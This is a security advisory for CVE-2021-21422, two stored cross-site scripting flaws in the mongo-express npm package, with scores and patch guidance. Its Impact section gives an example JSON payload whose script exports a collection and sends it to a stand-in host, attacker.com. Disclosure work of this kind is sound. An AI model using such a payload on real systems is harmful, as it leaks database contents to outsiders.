CVE-2021-21422 – mongo-express

Package

Manager: npm
Name: mongo-express
Vulnerable Version: >=0 <1.0.0-alpha.4

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS: 0.01091 pctl0.7711

Details

Cross-site scripting Two kinds of XSS were found: 1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. ### Impact As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload: ```JSON {"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" } ``` This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible. ### Patches Upgrade to `v1.0.0-alpha.4` ### For more information If you have any questions or comments about this advisory: * Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new) * Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)

Metadata

Created: 2021-06-28T17:18:04Z
Modified: 2021-06-22T15:44:45Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/06/GHSA-7p8h-86p5-wv3p/GHSA-7p8h-86p5-wv3p.json
CWE IDs: ["CWE-79"]
Alternative ID: GHSA-7p8h-86p5-wv3p
Finding: F425
Auto approve: 1